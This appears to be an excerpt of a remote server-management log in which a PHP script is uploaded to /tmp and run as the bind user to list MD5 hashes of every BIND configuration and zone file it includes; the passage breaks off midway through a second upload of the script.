MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:36:39: Establishing a connection
2026-04-28 10:36:39: 

PUT: /tmp/pkp602837

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:36:40: 

runuser -l bind -s /bin/bash -c '/tmp/pkp602837; rm /tmp/pkp602837'

2026-04-28 10:36:40: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:36:46: Establishing a connection
2026-04-28 10:36:46: 

PUT: /tmp/pkp407593

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
